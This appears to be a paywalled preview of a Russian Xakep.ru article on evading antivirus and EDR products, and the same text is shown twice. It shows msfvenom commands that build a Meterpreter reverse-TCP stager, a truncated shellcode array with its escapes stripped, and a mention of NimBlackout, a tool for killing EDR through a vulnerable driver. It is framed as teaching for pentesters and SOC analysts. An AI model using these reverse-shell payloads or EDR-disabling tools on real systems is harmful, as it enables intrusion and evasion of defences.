Антивирусы и системы EDR становятся всё навороченнее и даже используют машинное обучение для более точного детектирования. Но у авторов малвари по‑прежнему остаются способы обойти все проверки. В этой статье я покажу несколько техник и инструментов, которые применяют злоумышленники.
Материал призван помочь практикующим специалистам по пентесту и SoC-аналитикам разобраться с тем, как злоумышленники могут проникать в системы, минуя EDR (endpoint detection & response).
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Для исследований мы использовали Kaspersky Endpoint Detection and Response и его вариацию для Linux (KESL), опенсорсный ClamAV, McAffee, Microsoft Defender Advanced Threat Protection, а также VirusTotal.
Конечная цель — получить обратное соединение на наш C2-сервер, роль которого будет исполнять Metasploit Framework, один из самых популярных пентестерских инструментов.
За последние годы АV и EDR научились уже на ранних стадиях обнаруживать файлы, которые были сгенерированы Metasploit, потому что существует множество сигнатур для выявления установки bind- и reverse-шеллов. EDR определяют, какие файлы .dll и .so используются при старте оболочки Meterpreter, и это лишь малая часть признаков, помогающих выявить вредоносный процесс. Для чистоты эксперимента мы возьмем шелл‑код, сгенерированный через msfvenom, и будем пытаться его модернизировать.
Но для начала посмотрим, сколько сейчас дает баллов VirusTotal на дефолтный exe-стейджер, сгенерированный следующей командой:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=444 -f exe -o ab.exe Результаты проверки на VirusTotal
То есть стандартный стейджер без проблем обнаруживается современными защитными решениями.
Давай попробуем сделать вариант с обходом. Будем генерировать шелл‑код на С, так как это идеальный выбор, если нам нужна скорость и кросс‑платформенность.
Вот как выглядит наш первоначальный шелл‑код:
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=444-f c
[-] No platform was selected, choosing Msf::Module:latform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of c file: 1518 bytes
unsigned char buf[] =
«xfcxe8x8fx00x00x00x60x31xd2x64x8bx52x30x89»
«xe5x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26»
…
«x5exffx0cx24x0fx85x70xffxffxffxe9x9bxffxff»
«xffx01xc3x29xc6x75xc1xc3xbbxf0xb5xa2x56x6a»
«x00x53xffxd5»;
Ничего необычного. Шелл‑код просто дает реверс‑шелл, а обмен данных происходит по TCP. Мы даже не применяли шифрование и кодирование.
В последние годы большинство вендоров AV/EDR внедрили поведенческий анализ с использованием машинного обучения, что позволяет более точно анализировать поведение программы и классифицировать ее как вредоносную. Для этого проводится постоянный мониторинг процесса: EDR сравнивает действия с профилями поведения. Это повышает шансы обнаружения, но нагружает систему, может приводить к ложным срабатываниям и конфликтам с другим ПО.
И конечно, по‑прежнему актуальны старые методы:
В общем, чем дальше, тем больше всяких проверок.
На сетевом уровне существует несколько методов, которые можно использовать, чтобы попытаться избежать обнаружения: DNS-туннелирование, самоподписанные сертификаты HTTPS, протокол ICMP. Однако современные системы обнаружения угроз не поддаются на все эти уловки.
NimBlackout позволяет удалить AV/EDR при помощи уязвимого драйвера. Драйвер GMER используется для взаимодействия с ядром операционной системы и дает возможность обнаруживать и анализировать скрытые вредоносные элементы.
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
9990 рублей 4000 р.
[TD]
920 р.
[/TD]
Я уже участник «Xakep.ru»
Материал призван помочь практикующим специалистам по пентесту и SoC-аналитикам разобраться с тем, как злоумышленники могут проникать в системы, минуя EDR (endpoint detection & response).
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
На чем мы тестировали
Для исследований мы использовали Kaspersky Endpoint Detection and Response и его вариацию для Linux (KESL), опенсорсный ClamAV, McAffee, Microsoft Defender Advanced Threat Protection, а также VirusTotal.
Конечная цель — получить обратное соединение на наш C2-сервер, роль которого будет исполнять Metasploit Framework, один из самых популярных пентестерских инструментов.
За последние годы АV и EDR научились уже на ранних стадиях обнаруживать файлы, которые были сгенерированы Metasploit, потому что существует множество сигнатур для выявления установки bind- и reverse-шеллов. EDR определяют, какие файлы .dll и .so используются при старте оболочки Meterpreter, и это лишь малая часть признаков, помогающих выявить вредоносный процесс. Для чистоты эксперимента мы возьмем шелл‑код, сгенерированный через msfvenom, и будем пытаться его модернизировать.
Но для начала посмотрим, сколько сейчас дает баллов VirusTotal на дефолтный exe-стейджер, сгенерированный следующей командой:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=444 -f exe -o ab.exe Результаты проверки на VirusTotal
То есть стандартный стейджер без проблем обнаруживается современными защитными решениями.
Давай попробуем сделать вариант с обходом. Будем генерировать шелл‑код на С, так как это идеальный выбор, если нам нужна скорость и кросс‑платформенность.
Вот как выглядит наш первоначальный шелл‑код:
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=444-f c
[-] No platform was selected, choosing Msf::Module:latform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of c file: 1518 bytes
unsigned char buf[] =
«xfcxe8x8fx00x00x00x60x31xd2x64x8bx52x30x89»
«xe5x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26»
…
«x5exffx0cx24x0fx85x70xffxffxffxe9x9bxffxff»
«xffx01xc3x29xc6x75xc1xc3xbbxf0xb5xa2x56x6a»
«x00x53xffxd5»;
Ничего необычного. Шелл‑код просто дает реверс‑шелл, а обмен данных происходит по TCP. Мы даже не применяли шифрование и кодирование.
Что нового в мире AV/EDR
В последние годы большинство вендоров AV/EDR внедрили поведенческий анализ с использованием машинного обучения, что позволяет более точно анализировать поведение программы и классифицировать ее как вредоносную. Для этого проводится постоянный мониторинг процесса: EDR сравнивает действия с профилями поведения. Это повышает шансы обнаружения, но нагружает систему, может приводить к ложным срабатываниям и конфликтам с другим ПО.
И конечно, по‑прежнему актуальны старые методы:
- эвристический анализ;
- сигнатурный анализ
- сендбоксинг;
- IAT checking (проверка используемых функций и библиотек. Например, если в IAT есть функции шифрования, то EDR может решить, что перед ним шифровальщик);
- API hooking (перехват вызовов функций и перенаправление потока кода).
В общем, чем дальше, тем больше всяких проверок.
info
На сетевом уровне существует несколько методов, которые можно использовать, чтобы попытаться избежать обнаружения: DNS-туннелирование, самоподписанные сертификаты HTTPS, протокол ICMP. Однако современные системы обнаружения угроз не поддаются на все эти уловки.
Фреймворки для обхода AV/EDR
NimBlackout позволяет удалить AV/EDR при помощи уязвимого драйвера. Драйвер GMER используется для взаимодействия с ядром операционной системы и дает возможность обнаруживать и анализировать скрытые вредоносные элементы.
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
-60% |
1 год
9990 рублей 4000 р.
[TD]
1 месяц
920 р.
[/TD]
Я уже участник «Xakep.ru»